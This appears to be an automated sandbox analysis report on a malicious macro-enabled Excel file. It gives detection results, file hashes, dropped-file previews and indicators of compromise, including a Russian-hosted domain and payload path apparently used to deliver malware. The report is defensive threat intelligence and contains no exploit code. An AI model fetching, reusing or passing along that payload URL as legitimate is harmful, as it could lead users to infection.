                                                                                                                                                    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                    Run name:Potential for more IOCs and behavior
                                                                                                                                                    Number of analysed new started processes analysed:25
                                                                                                                                                    Number of new started drivers analysed:0
                                                                                                                                                    Number of existing processes analysed:0
                                                                                                                                                    Number of existing drivers analysed:0
                                                                                                                                                    Number of injected processes analysed:0
                                                                                                                                                    Technologies:
                                                                                                                                                    • HCA enabled
                                                                                                                                                    • EGA enabled
                                                                                                                                                    • HDC enabled
                                                                                                                                                    • AMSI enabled
                                                                                                                                                    Analysis Mode:default
                                                                                                                                                    Analysis stop reason:Timeout
                                                                                                                                                    Detection:MAL
                                                                                                                                                    Classification:mal72.expl.evad.winXLSM@3/10@1/1
                                                                                                                                                    EGA Information:Failed
                                                                                                                                                    HDC Information:Failed
                                                                                                                                                    HCA Information:
                                                                                                                                                    • Successful, ratio: 100%
                                                                                                                                                    • Number of executed functions: 0
                                                                                                                                                    • Number of non-executed functions: 0
                                                                                                                                                    Cookbook Comments:
                                                                                                                                                    • Adjust boot time
                                                                                                                                                    • Enable AMSI
                                                                                                                                                    • Found application associated with file extension: .xlsm
                                                                                                                                                    • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                    • Attach to Office via COM
                                                                                                                                                    • Scroll down
                                                                                                                                                    • Close Viewer
                                                                                                                                                    Warnings:
                                                                                                                                                    Show All
                                                                                                                                                    • Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe
                                                                                                                                                    • Excluded IPs from analysis (whitelisted): 168.61.161.212, 52.147.198.201, 104.42.151.234, 13.64.90.137, 52.109.88.177, 52.109.8.25, 52.109.12.21, 92.122.253.206, 51.104.144.132, 72.247.178.81, 72.247.178.104, 23.62.99.40, 23.62.99.66, 23.62.99.56, 23.62.99.32, 23.62.99.26, 23.62.99.19, 23.62.99.35, 23.62.99.34, 20.54.26.129, 51.104.139.180, 72.247.178.97
                                                                                                                                                    • Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, prod-w.nexus.live.com.akadns.net, arc.msn.com.nsatc.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, audownload.windowsupdate.nsatc.net, nexus.officeapps.live.com, officeclient.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, skypedataprdcolwus17.cloudapp.net, fs.microsoft.com, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net, europe.configsvc1.live.com.akadns.net

                                                                                                                                                    Simulations

                                                                                                                                                    Behavior and APIs

                                                                                                                                                    No simulations

                                                                                                                                                    Joe Sandbox View / Context

                                                                                                                                                    IPs

                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                    188.225.73.5Calculation-1972568702-01262021.xlsmGet hashmaliciousBrowse
                                                                                                                                                    • test.limulustest.ru/invzovg/5319402.jpg

                                                                                                                                                    Domains

                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                    test.limulustest.ruCalculation-1972568702-01262021.xlsmGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.73.5

                                                                                                                                                    ASN

                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                    TIMEWEB-ASRUCalculation-1972568702-01262021.xlsmGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.73.5
                                                                                                                                                    DW019203084PO020192003928.pdf.exeGet hashmaliciousBrowse
                                                                                                                                                    • 185.200.243.169
                                                                                                                                                    tnD89iJ2Vx.exeGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.86.168
                                                                                                                                                    rib.exeGet hashmaliciousBrowse
                                                                                                                                                    • 92.53.96.119
                                                                                                                                                    7TwZx5dbbZ.exeGet hashmaliciousBrowse
                                                                                                                                                    • 185.114.245.109
                                                                                                                                                    gunzipped.exeGet hashmaliciousBrowse
                                                                                                                                                    • 92.53.96.251
                                                                                                                                                    sample.exeGet hashmaliciousBrowse
                                                                                                                                                    • 92.53.114.107
                                                                                                                                                    reader_ca_install.exeGet hashmaliciousBrowse
                                                                                                                                                    • 89.223.121.124
                                                                                                                                                    document-1444032431.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1444032431.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1421190491.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1421190491.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1473929595.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1473929595.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1484980114.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1493705687.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1484980114.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1493705687.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1495480491.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1495480491.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87

                                                                                                                                                    JA3 Fingerprints

                                                                                                                                                    No context

                                                                                                                                                    Dropped Files

                                                                                                                                                    No context

                                                                                                                                                    Created / dropped Files

                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\085A25F3-EE20-427C-93CA-526F3EE34AFA
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):132942
                                                                                                                                                    Entropy (8bit):5.372909532422296
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:1536:2cQceNgaBtA3gZw+pQ9DQW+zAUH34ZldpKWXboOilXPErLL8Eh:4rQ9DQW+zBX8P
                                                                                                                                                    MD5:18420CEF02343362CC82E490F2D6C0F4
                                                                                                                                                    SHA1:2408A5C4C3B4EF4B608DD383154EBE5143E8CC27
                                                                                                                                                    SHA-256:53FD6744E1FDF2101D78F8E800F92142744C7A93D19A5D8EA327300B8B51343A
                                                                                                                                                    SHA-512:D462DC6F2F6F0AC6F4F5FF338B070051EBDF7EE44295C0056EE4CAAE98FD94485A9B32FE8C5E1CAC848230F759E2209492248C6E7E854514C6C461E59622E1F3
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:low
                                                                                                                                                    Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-01-26T21:02:55">.. Build: 16.0.13723.30525-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:
                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\2D5C492F.png
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):557
                                                                                                                                                    Entropy (8bit):7.343009301479381
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNJTNSB0qNMQCvGEvfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20qNM1dvfSviNd
                                                                                                                                                    MD5:A516B6CB784827C6BDE58BC9D341C1BD
                                                                                                                                                    SHA1:9D602E7248E06FF639E6437A0A16EA7A4F9E6C73
                                                                                                                                                    SHA-256:EF8F7EDB6BA0B5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074
                                                                                                                                                    SHA-512:C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7F96D55B0C9B02F6B9BFAF4E915191683126183E49E668B6049048D35
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:moderate, very likely benign file
                                                                                                                                                    Preview: .PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8Oc.......l.9a._.X....@.`ddbc.]...........O..m7.r0|..."......?A.......w..;.N1u........_.[.\Y...BK=...F +.t.M~..oX..%....211o.q.P.".......y...../..l.r...4..Q]..h.....LL.d.......d....w.>{.e..k.7.9y.%.. .YpI...{.+Kv......./..\[...A....^.5c..O?.......G...VB..4HWY...9NU...?..S..$..1..6.U.....c... ....7..J. "M..5. ............_.......d.V.W.c.....Y.A..S....~.C.....q........t?..."n.....4......G_......Q..x..W.!L.a...3....MR.|.-P#P;..p._.......jUG....X........IEND.B`.
                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\386F7164.png
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):848
                                                                                                                                                    Entropy (8bit):7.595467031611744
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:JIjm3pQCLWYi67lc
                                                                                                                                                    MD5:02DB1068B56D3FD907241C2F3240F849
                                                                                                                                                    SHA1:58EC338C879DDBDF02265CBEFA9A2FB08C569D20
                                                                                                                                                    SHA-256:D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387B0EA3773D908DD25F
                                                                                                                                                    SHA-512:9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F864212064678
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:moderate, very likely benign file
                                                                                                                                                    Preview: .PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8O.T]H.Q..;3...?..fk.lR..R$.R.Pb.Q...B..OA..T$.hAD...J../..-h...fj..+....;s.vg.Zsw.=...{.w.s.w.@.....;..s...O........;.y.p........,...s1@ Ir.:... .>.LLa..b?h...l.6..U....1....r.....T..O.d.KSA...7.YS..a.(F@....xe.^.I..$h....PpJ...k%.....9..QQ....h..!H*................./....2..J2..HG....A....Q&...k...d..&..Xa.t..E....E..f2.d(..v.~.P.+.pik+;...xEU.g....._xfw...+...(..pQ.(..(.U./..)..@..?..........f.'...lx+@F...+....)..k.A2...r~B,....TZ..y..9...`..0....q....yY....Q.......A.....8j[.O9..t..&...g. I@ ..;..X!...9S.J5..'.xh...8I.~.+...mf.m.W.i..{...+>P...Rh...+..br^$. q.^.......(..._.j...$..Ar...MZm|...9..E..!U[S.fDx7<....Wd.......p..C......^MyI:...c.^..SI.mGj,.......!...h..$..;...........yD./..a...-j.^:.}..v....RQY*.^......IEND.B`.
                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\4D6C2066.png
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:PNG image data, 205 x 58, 8-bit/color RGB, non-interlaced
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):8301
                                                                                                                                                    Entropy (8bit):7.970711494690041
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:192:BzNWXTPmjktA8BddiGGwjNHOQRud4JTTOFPY4:B8aoVT0QNuzWKPh
                                                                                                                                                    MD5:D8574C9CC4123EF67C8B600850BE52EE
                                                                                                                                                    SHA1:5547AC473B3523BA2410E04B75E37B1944EE0CCC
                                                                                                                                                    SHA-256:ADD8156BAA01E6A9DE10132E57A2E4659B1A8027A8850B8937E57D56A4FC204B
                                                                                                                                                    SHA-512:20D29AF016ED2115C210F4F21C65195F026AAEA14AA16E36FD705482CC31CD26AB78C4C7A344FD11D4E673742E458C2A104A392B28187F2ECCE988B0612DBACF
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:moderate, very likely benign file
                                                                                                                                                    Preview: .PNG........IHDR.......:......IJ.....sRGB.........pHYs..........+.... .IDATx^..\....}.\6"Sp...g..9Ks..r..=r.U....Y..l.S.2...Q.'C............h}x........... ......\..N...z....._.|......III.666...~~~..6l.Q.J...\..m..g.h.SRR.\.p....'N...EEE...X9......c.&M...].n.g4..E..g...w...{..]..;w..I...y.m\...~..;.].3{~..qV.k..._....?..w/$GlI|..2. m,,,.-[.....sr.V1..g...on...........dl.'...'''[[[.R.......(..^...F.PT.Xq..Mnnn.3..M..g.......6.....pP"#F..P/S.L...W.^..o.r.....5H......111t....|9..3...`J..>...{..t~/F.b..h.P..]z..)......o..4n.F..e...0!!!......#""h.K..K.....g.......^..w.!.$.&...7n.].F.\\\.A....6lxjj.K/........g.....3g......f....:t..s..5.C4..+W.y...88..?.,Y. .^...8{.@VN.6....Kbch.=zt...7+T....v.z....P........VVV..."t.N......$..Jag.v.U...P[(_.I?.9.4i.G.$U..D......W.r...........!>|..#G...3..x.b......P....H!.Vj......u.2..*;..Z..c..._Ga....&L.......`.1.[.n].7..W_m..#8k...)U..L.....G..q.F.e>..s.......q....J....(.N.V...k..>m....=.).
                                                                                                                                                    C:\Users\user\AppData\Local\Temp\A4B10000
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:data
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):26179
                                                                                                                                                    Entropy (8bit):7.558278029827654
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:384:p8xezujszRIU1xts4/Wt48aoVT0QNuzWKPqGn8LM9JoHU:OwajsNB144YnW+u7qk8LM9JoHU
                                                                                                                                                    MD5:94246D31580C171175FCB90E1E2CFB8A
                                                                                                                                                    SHA1:74B842CEB1BB833DB87B35933008146AC3518BAC
                                                                                                                                                    SHA-256:BC028C6FC38DE1233F15BF4909AA00B2DD317F1CF381F83CCE3B2FEA1160FA4F
                                                                                                                                                    SHA-512:60AB6AF04978B504FD50B7AC04589453700F2B3AED87B4B9B700078BCF1215B81082474F2645B4218FE5A243E8148AFCA27117CD362D8E71FECEB6D1E34E0BEA
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:low
                                                                                                                                                    Preview: .U.n.0....?..........C....I?`L.%...a...;.....+........pz.r.z.D&.V\4.Q.WA.....m.MT..k..c+.H.j....q..*...>..]JR=:.&D.<...A.....j......T.g....C.?p.O6W7+..(../...w.....5.2...^.!..ba...C7.....1;..d.1=`.l.....}.......Hh.8.......Po"}..a(3..........R...i../!-.!,.. %LG5...fH.q.R..0..s`....LC%..v........W...#:.....y.S}....d7.vC9\OO|..1Nym...v.:..CB..y#wg..7.....H...s....*...x..w.........w......R]G.......c...c,.F..[....7.......PK..........!.................[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                    C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Calculation-1776198036-01262021.xlsm.LNK
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 14:03:45 2020, mtime=Wed Jan 27 05:02:58 2021, atime=Wed Jan 27 05:02:58 2021, length=26179, window=hide
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):2330
                                                                                                                                                    Entropy (8bit):4.6590348806660895
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:24:8egESW3zAYzC0DzI7aB6myegESW3zAYzC0DzI7aB6m:8eQoUYzCGdB6peQoUYzCGdB6
                                                                                                                                                    MD5:E91CE28CC0834D79AC4CA6A95CA8F071
                                                                                                                                                    SHA1:87A79CC94AB56796507C95FE5DB56859185BB9CD
                                                                                                                                                    SHA-256:AF9511F56A345938DACAF83A62EDDDC0E5EBF4E83FCF894A56DD081C6704F20C
                                                                                                                                                    SHA-512:374A4E19933409AA3DDDEE1E1319B8A5905E55F7A2B5BBC526F03F057F65D29ECB16AE3A70ED5490D1684D1BFC312BFF83CCEB585565B3732D7FA28EA64BFE11
                                                                                                                                                    Malicious:true
                                                                                                                                                    Reputation:low
                                                                                                                                                    Preview: L..................F.... .......:.......r.......r...Cf...........................P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L..;RP0....................:.....q|..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Qxx..user.<.......Ny.;RP0.....S........................h.a.r.d.z.....~.1.....>Qzx..Desktop.h.......Ny.;RP0.....Y..............>.........D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2..g..;RX0 .CALCUL~1.XLS..z......>Qwx;RX0....h.....................I^:.C.a.l.c.u.l.a.t.i.o.n.-.1.7.7.6.1.9.8.0.3.6.-.0.1.2.6.2.0.2.1...x.l.s.m.......j...............-.......i...........>.S......C:\Users\user\Desktop\Calculation-1776198036-01262021.xlsm..;.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.C.a.l.c.u.l.a.t.i.o.n.-.1.7.7.6.1.9.8.0.3.6.-.0.1.2.6.2.0.2.1...x.l.s.m.........:..,.LB.)...As...`.......X.......960781...........!a..%.H.VZAj......-.........-..!a..%.H.VZAj......-.........-.............1SPS.XF.L8C....&.m.q............/...
                                                                                                                                                    C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Thu Jun 27 16:19:49 2019, mtime=Wed Jan 27 05:02:58 2021, atime=Wed Jan 27 05:02:58 2021, length=8192, window=hide
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):904
                                                                                                                                                    Entropy (8bit):4.636477489705756
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:12:8Q+CXUVvuElPCH2YgESiY59Ar+WrjAZ/2bDqLC5Lu4t2Y+xIBjKZm:87ggES3mNAZiDT87aB6m
                                                                                                                                                    MD5:8B87508C08A434D480E22C2E95774540
                                                                                                                                                    SHA1:FBEC41C66A265C51DA8E66489BA166800C011901
                                                                                                                                                    SHA-256:2568F466F0E18BF8B38B2283FBE74BF5F9255FA2CD38089EF3AFEC0833BF450E
                                                                                                                                                    SHA-512:397247C8DEE1C9E017FC1A9BD0FFBE844F10298A97D9BFACD0011A1E61343E491CCF7AD28E68DF90022C8F3FB437EB41840D4278AE1DCB032E8F54D26E076C43
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:low
                                                                                                                                                    Preview: L..................F........N....-......r.......r.... ......................u....P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L..;RP0....................:.....q|..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Qxx..user.<.......Ny.;RP0.....S........................h.a.r.d.z.....~.1.....;R`0..Desktop.h.......Ny.;R`0.....Y..............>......@..D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......E...............-.......D...........>.S......C:\Users\user\Desktop........\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...As...`.......X.......960781...........!a..%.H.VZAj...4.4...........-..!a..%.H.VZAj...4.4...........-.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ............
                                                                                                                                                    C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):163
                                                                                                                                                    Entropy (8bit):4.8362342290639
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:3:oyBVomxWtMK/86XUIDdlpS+gHK/86XUIDdlpSmxWtMK/86XUIDdlpSv:djeMA8YrpQHA8YrpgMA8Yrpc
                                                                                                                                                    MD5:79D8AB8C0F497AF76D000C4566AAAAE1
                                                                                                                                                    SHA1:D7D3871CF5C9358A77C46C19A306EBED6513419A
                                                                                                                                                    SHA-256:CA7FAAC4821287344F4E1892E1D71286520C92D75524907B4E3FB48CEE21E65F
                                                                                                                                                    SHA-512:F48B0A90DDB394FC20234655A8BD21D2F05D321F1DB94C24E6EB7914246E059EEC2D91AA626860FFF1C11D443B5E039213700F28B26407930AB9981D12BFC47D
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:low
                                                                                                                                                    Preview: Desktop.LNK=0..[misc]..Calculation-1776198036-01262021.xlsm.LNK=0..Calculation-1776198036-01262021.xlsm.LNK=0..[misc]..Calculation-1776198036-01262021.xlsm.LNK=0..
                                                                                                                                                    C:\Users\user\Desktop\95B10000
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:data
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):26179
                                                                                                                                                    Entropy (8bit):7.558486759173817
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:384:p8xezujszRIU1xts4/Wt48aoVT0QNuzWKPqGn8tJoS:OwajsNB144YnW+u7qk8tJoS
                                                                                                                                                    MD5:1497A939B2350455E8FA4AADA7B184D3
                                                                                                                                                    SHA1:0E53EE85C29F6608231B76D7093488CEAA14CAB7
                                                                                                                                                    SHA-256:D2D4840461F6F58BC87A65FF163D654B432D118B6D90D83BC9B04F58F1C0BBCF
                                                                                                                                                    SHA-512:1FFDB217BB4270046800DA3380A80194136ED62214A1ACB888644FD578BFB27B4F2B4EF07F63D563DA022C6659E7BFB68010E6B0C7E367536846CBD9FF578A2C
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:low
                                                                                                                                                    Preview: .U.n.0....?..........C....I?`L.%...a...;.....+........pz.r.z.D&.V\4.Q.WA.....m.MT..k..c+.H.j....q..*...>..]JR=:.&D.<...A.....j......T.g....C.?p.O6W7+..(../...w.....5.2...^.!..ba...C7.....1;..d.1=`.l.....}.......Hh.8.......Po"}..a(3..........R...i../!-.!,.. %LG5...fH.q.R..0..s`....LC%..v........W...#:.....y.S}....d7.vC9\OO|..1Nym...v.:..CB..y#wg..7.....H...s....*...x..w.........w......R]G.......c...c,.F..[....7.......PK..........!.................[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                    C:\Users\user\Desktop\~$Calculation-1776198036-01262021.xlsm
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:data
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):330
                                                                                                                                                    Entropy (8bit):1.6081032063576088
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:3:RFXI6dtBhFXI6dtt:RJZhJ1
                                                                                                                                                    MD5:836727206447D2C6B98C973E058460C9
                                                                                                                                                    SHA1:D83351CF6DE78FEDE0142DE5434F9217C4F285D2
                                                                                                                                                    SHA-256:D9BECB14EECC877F0FA39B6B6F856365CADF730B64E7FA2163965D181CC5EB41
                                                                                                                                                    SHA-512:7F843EDD7DC6230BF0E05BF988D25AE6188F8B22808F2C990A1E8039C0CECC25D1D101E0FDD952722FEAD538F7C7C14EEF9FD7F4B31036C3E7F79DE570CD0607
                                                                                                                                                    Malicious:true
                                                                                                                                                    Reputation:moderate, very likely benign file
                                                                                                                                                    Preview: .pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

                                                                                                                                                    Static File Info

                                                                                                                                                    General

                                                                                                                                                    File type:Microsoft Excel 2007+
                                                                                                                                                    Entropy (8bit):7.5624677136859715
                                                                                                                                                    TrID:
                                                                                                                                                    • Excel Microsoft Office Open XML Format document (40004/1) 83.33%
                                                                                                                                                    • ZIP compressed archive (8000/1) 16.67%
                                                                                                                                                    File name:Calculation-1776198036-01262021.xlsm
                                                                                                                                                    File size:26370
                                                                                                                                                    MD5:f28ff4fc549018f6eb3e27c3b9cd2473
                                                                                                                                                    SHA1:aefcf3ad1685d3b55d027554ea81addb471a4d8f
                                                                                                                                                    SHA256:fb75ce8dac7dbc3902418d23b9bf1f4d6be4b7a1f318620e57a81912c6987989
                                                                                                                                                    SHA512:0b8969e4ed4bf4328385958a9a73c855b4e0215e6bcdd2a655df6e8143f40200ad5790d2a874ba8d74c3bbc95ecef89e87600c3d538d48110e0cd0a97563d94f
                                                                                                                                                    SSDEEP:384:AIfowL2aGcarN6IftXs5SV8m2ylTQ8aoVT0QNuzWKP8WxAJkh0lfusU5:AIfl6aGcEHy5S6f6TfW+u7DqJkhoWsU5
                                                                                                                                                    File Content Preview:PK..........!.................[Content_Types].xml ...(.........................................................................................................................................................................................................

                                                                                                                                                    File Icon

                                                                                                                                                    Icon Hash:74ecd0e2f696908c

                                                                                                                                                    Static OLE Info

                                                                                                                                                    General

                                                                                                                                                    Document Type:OpenXML
                                                                                                                                                    Number of OLE Files:1

                                                                                                                                                    OLE File "Calculation-1776198036-01262021.xlsm"

                                                                                                                                                    Indicators

                                                                                                                                                    Has Summary Info:
                                                                                                                                                    Application Name:
                                                                                                                                                    Encrypted Document:
                                                                                                                                                    Contains Word Document Stream:
                                                                                                                                                    Contains Workbook/Book Stream:
                                                                                                                                                    Contains PowerPoint Document Stream:
                                                                                                                                                    Contains Visio Document Stream:
                                                                                                                                                    Contains ObjectPool Stream:
                                                                                                                                                    Flash Objects Count:
                                                                                                                                                    Contains VBA Macros:

                                                                                                                                                    Macro 4.0 Code

